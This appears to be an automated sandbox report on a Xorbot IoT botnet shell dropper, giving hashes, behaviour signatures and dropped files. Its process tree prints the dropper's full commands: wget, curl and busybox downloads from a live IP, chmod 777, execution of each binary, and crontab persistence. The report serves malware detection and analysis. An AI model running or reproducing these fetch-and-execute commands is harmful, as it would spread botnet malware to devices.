Analysis

  • max time kernel
    120s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/03/2025, 02:22

General

  • Target

    4e0b27339e784ecfec59332890bec0c7cd664b60416f61c9fef79d936e12d173.sh

  • Size

    10KB

  • MD5

    fcba5a159c1d4a387e0b6d819ab82b13

  • SHA1

    aa69a7ab7c5829823641342bec0e3ad9f6fed0eb

  • SHA256

    4e0b27339e784ecfec59332890bec0c7cd664b60416f61c9fef79d936e12d173

  • SHA512

    87a1081d1536779e44642d1951eca3e1ff3ba1fc4a333b5442c12b6fdb02b0bfff290503e160f6b95e20be6f7e007cbc9b331c7cf6ed0670cdb147c2f54b7d94

  • SSDEEP

    192:SKmamvfi3B3F3x3+3e3c04kJpga5k5M5uFpY9Hvva22jXv73Q1MA+L3LTLzm+3Hy:SKmamvfi3B3F3x3+3e3c04kJpgamCJ9R

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1226) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/4e0b27339e784ecfec59332890bec0c7cd664b60416f61c9fef79d936e12d173.sh
    /tmp/4e0b27339e784ecfec59332890bec0c7cd664b60416f61c9fef79d936e12d173.sh
    1⤵
    • Executes dropped EXE
    PID:740
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:743
      • /usr/bin/wget
        wget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:746
      • /usr/bin/curl
        curl -O http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:760
      • /bin/busybox
        /bin/busybox wget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:768
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:771
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:772
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:774
          • /usr/bin/wget
            wget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:776
          • /usr/bin/curl
            curl -O http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:777
          • /bin/busybox
            /bin/busybox wget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:778
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:779
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:780
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:782
              • /usr/bin/wget
                wget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:783
              • /usr/bin/curl
                curl -O http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:784
              • /bin/busybox
                /bin/busybox wget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:785
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:786
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:788
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:791
                  • /usr/bin/wget
                    wget http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:792
                  • /usr/bin/curl
                    curl -O http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:799
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:806
                  • /bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:809
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:811
                    • /bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:814
                      • /usr/bin/wget
                        wget http://37.44.238.92/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:815
                      • /usr/bin/curl
                        curl -O http://37.44.238.92/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:824
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.92/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:837
                      • /bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:840
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:842
                      • /bin/rm
                        rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:846
                      • /usr/bin/wget
                        wget http://37.44.238.92/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:847
                      • /usr/bin/curl
                        curl -O http://37.44.238.92/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:850
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.92/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:851
                      • /bin/chmod
                        chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • File and Directory Permissions Modification
                        PID:852
                      • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                          PID:853
                        • /bin/rm
                          rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                          2⤵
                            PID:855
                          • /usr/bin/wget
                            wget http://37.44.238.92/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:856
                          • /usr/bin/curl
                            curl -O http://37.44.238.92/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:857
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.92/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:858
                          • /bin/chmod
                            chmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • File and Directory Permissions Modification
                            PID:859
                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            ./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                              PID:860
                            • /bin/rm
                              rm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                              2⤵
                                PID:862
                              • /usr/bin/wget
                                wget http://37.44.238.92/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Writes file to tmp directory
                                PID:863
                              • /usr/bin/curl
                                curl -O http://37.44.238.92/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Writes file to tmp directory
                                PID:881
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.92/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Writes file to tmp directory
                                PID:892
                              • /bin/chmod
                                chmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • File and Directory Permissions Modification
                                PID:896
                              • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                ./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:897
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:899
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                      • Reads runtime system information
                                      PID:900
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:901
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        • Reads runtime system information
                                        PID:902
                                  • /bin/rm
                                    rm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                    2⤵
                                      PID:904
                                    • /usr/bin/wget
                                      wget http://37.44.238.92/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                      2⤵
                                        PID:907

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                                      Filesize

                                      111KB

                                      MD5

                                      701e7a55a4f3650f5feee92a9860e5fc

                                      SHA1

                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                      SHA256

                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                      SHA512

                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                    • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                                      Filesize

                                      117KB

                                      MD5

                                      849fa04ef88a8e8de32cb2e8538de5fe

                                      SHA1

                                      c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                      SHA256

                                      8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                      SHA512

                                      2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                    • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

                                      Filesize

                                      119KB

                                      MD5

                                      1b166b95f9cb4b079ef1b9ec8363ddf3

                                      SHA1

                                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                                      SHA256

                                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                      SHA512

                                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                    • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                                      Filesize

                                      99KB

                                      MD5

                                      9438d9bc392bcf300a5583b6df5bc8f6

                                      SHA1

                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                      SHA256

                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                      SHA512

                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                    • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                                      Filesize

                                      107KB

                                      MD5

                                      eb9c3a0de91fcf16ba17cb24608df68c

                                      SHA1

                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                      SHA256

                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                      SHA512

                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                    • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                                      Filesize

                                      141KB

                                      MD5

                                      3ca8decdb1e52c423c521bfff02ac200

                                      SHA1

                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                      SHA256

                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                      SHA512

                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                    • /var/spool/cron/crontabs/tmp.ztttMI

                                      Filesize

                                      210B

                                      MD5

                                      c7db3ee2fd1f6d02d18b03f2638b2904

                                      SHA1

                                      f544540e670bbbfdc7f75dd3a6b8e02ae588a21f

                                      SHA256

                                      61561863b5bf2ce5c8ee20003bd12e9f71a11a4dc7207f5995f58589e5348b80

                                      SHA512

                                      438f67e93913b2bd9f3c9254dd30b97fac3e6fe1389ecf4c864ca01eec7fe94a0908d2efc1f3dd8db7795561475078bdc33cd32d037a70aa1384e45faae6cde3